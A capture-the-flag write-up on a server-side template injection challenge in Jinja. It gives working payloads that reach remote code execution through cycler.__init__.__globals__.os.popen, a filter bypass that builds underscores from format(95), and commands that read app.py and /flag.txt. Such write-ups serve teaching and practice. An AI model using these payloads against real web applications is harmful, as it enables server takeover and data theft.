Merged

chall

chall

From the briefing, I assumed it would be a SSTI.

Opened the challenge URL. Here we can design our own certificate and the parameters are rendered by the template engine.

webpage

Tried {{7*7}} to confirm whether it is evaluated by the template engine or not.

49

I already played some CTFs previously, so I referred a writeup to get a working payload to get RCE on the server with SSTI.

{{ cycler.__init__.__globals__.os.popen('ls').read() }}

  • cycler is a Jinja global/object available in the template context.
  • cycler.__init__ gives access to its initialization function.
  • __globals__ exposes the globals of that Python function.
  • os gives access to os.popen().
  • popen(...).read() executes the command and returns its output.

tried the basic payload

__ is blocked by the naive safety filter. Need to bypass it to get RCE.

We can build the underscore character using its ASCII code (95) like this.

The payload will look something like this.

1
2
3
4
{%set u='%c'|format(95)%}
{%set i=u+u+'init'+u+u%}
{%set g=u+u+'globals'+u+u%}
{{cycler[i][g]['os'].popen('ls').read()}}

bypassed the filter

We successfully bypassed the filter. You can see the files on the server.
Let’s read app.py to know where the flag is located on the server.

read app.py

found flag location

Now we know the flag is located at /flag.txt. Let’s get it with this below payload :)

1
2
3
4
{%set u='%c'|format(95)%}
{%set i=u+u+'init'+u+u%}
{%set g=u+u+'globals'+u+u%}
{{cycler[i][g]['os'].popen('cat /flag.txt').read()}}

got the flag